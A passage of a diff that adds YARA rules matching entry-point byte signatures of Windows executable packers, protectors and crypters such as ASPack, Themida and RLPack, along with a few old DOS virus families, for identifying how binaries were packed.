+	rule AHTeamEPProtector03fakeSpalsher1x3xFEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 9C 60 8B 44 24 24 E8 00 00 00 00 5D 81 ED 00 00 00 00 50 E8 ED 02 00 00 8C C0 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv10803AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD }
+	$a1 = { 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E }
+	$a2 = { 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD }
+	$a3 = { 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point) or $a3 at (pe.entry_point)
+	}
+	
+	
+	rule VMProtect07x08PolyTech
+	{
+	strings:
+			$a0 = { 5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ExeShieldProtectorV36wwwexeshieldcom
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WerusCrypter10Kas
+	{
+	strings:
+			$a0 = { 68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Themida10xx1800compressedengineOreansTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 }
+	$a1 = { B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule CHECKPRGc1992
+	{
+	strings:
+			$a0 = { 33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule eXPressor11CGSoftLabs
+	{
+	strings:
+			$a0 = { E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxEddie1028
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEQuakev006byfORGAT
+	{
+	strings:
+			$a0 = { E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule LTCv13
+	{
+	strings:
+			$a0 = { 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv071b7
+	{
+	strings:
+			$a0 = { 60 E8 48 11 00 00 C3 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv071b2
+	{
+	strings:
+			$a0 = { 60 E8 44 11 00 00 C3 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnknownJoinersignfrompinch260320070212
+	{
+	strings:
+			$a0 = { 44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule DIETv100v100d
+	{
+	strings:
+			$a0 = { BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule APEX_CBLTApex40500mhz
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule StealthPEv11
+	{
+	strings:
+			$a0 = { BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117DLLAp0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule Anti007V26LiuXingPing
+	{
+	strings:
+			$a0 = { 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule AppEncryptorSilentTeam
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VirogenCryptv075
+	{
+	strings:
+			$a0 = { 9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov300a
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv300v301Extractable
+	{
+	strings:
+			$a0 = { B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxUddy2617
+	{
+	strings:
+			$a0 = { 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PLINK8619841985
+	{
+	strings:
+			$a0 = { FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv10804AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 41 06 00 00 EB 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule aPackv098m
+	{
+	strings:
+			$a0 = { 1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76 }
+
+	condition:
+			$a0
+	}
+	
+	rule BamBamv001Bedrock
+	{
+	strings:
+			$a0 = { 6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PESHiELDv02v02bv02b2
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv27
+	{
+	strings:
+			$a0 = { EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv25
+	{
+	strings:
+			$a0 = { 60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VxHaryanto
+	{
+	strings:
+			$a0 = { 81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPRStripperv2xunpacked
+	{
+	strings:
+			$a0 = { BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01UPX06Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinker33
+	{
+	strings:
+			$a0 = { 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Shrinker32
+	{
+	strings:
+			$a0 = { 55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Shrinker34
+	{
+	strings:
+			$a0 = { 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PESPinv13Cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PECompactv160v165
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorv120b
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EPWv12
+	{
+	strings:
+			$a0 = { 06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv12x
+	{
+	strings:
+			$a0 = { 00 00 68 01 ?? ?? ?? C3 AA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Packanoidv1Arkanoid
+	{
+	strings:
+			$a0 = { BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EscargotV01Meat
+	{
+	strings:
+			$a0 = { EB 04 40 30 2E 31 60 68 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SCObfuscatorSuperCRacker
+	{
+	strings:
+			$a0 = { 60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EXEStealth275WebtoolMaster
+	{
+	strings:
+			$a0 = { 90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PasswordProtectorcMiniSoft1992
+	{
+	strings:
+			$a0 = { 06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxEddie2000
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VideoLanClientUnknownCompiler
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorv14CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8 }
+	$a1 = { 65 58 50 72 2D 76 2E 31 2E 34 2E }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	rule SkDUndetectablerPro20NoUPXMethodSkD
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RJcrushv100
+	{
+	strings:
+			$a0 = { 06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShieldv27
+	{
+	strings:
+			$a0 = { EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShieldv29
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEiDBundlev102v103BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualC5060
+	{
+	strings:
+			$a0 = { 33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PUNiSHERV15FEUERRADER
+	{
+	strings:
+			$a0 = { 3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ExcaliburV103forgot
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack10betaap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 }
+	$a1 = { 60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule nMacrorecorder10
+	{
+	strings:
+			$a0 = { 5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PrivateEXEv20a
+	{
+	strings:
+			$a0 = { 53 E8 00 00 00 00 5B 8B C3 2D }
+	$a1 = { 06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E }
+	$a2 = { 53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule PackmanV10BrandonLaCombe
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PEX099Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PAKSFXArchive
+	{
+	strings:
+			$a0 = { 55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv2xxAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 }
+	$a1 = { A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule SimbiOZ13Extranger
+	{
+	strings:
+			$a0 = { 57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule muckisprotectorImucki
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1339ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LOCK98V10028keenvim
+	{
+	strings:
+			$a0 = { 55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule iPBProtectv013
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PrivateEXEProtector197SetiSoft
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASPackv21AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 72 05 00 00 EB 33 87 DB 90 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv103bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule FSGv20
+	{
+	strings:
+			$a0 = { 87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 }
+
+	condition:
+			$a0
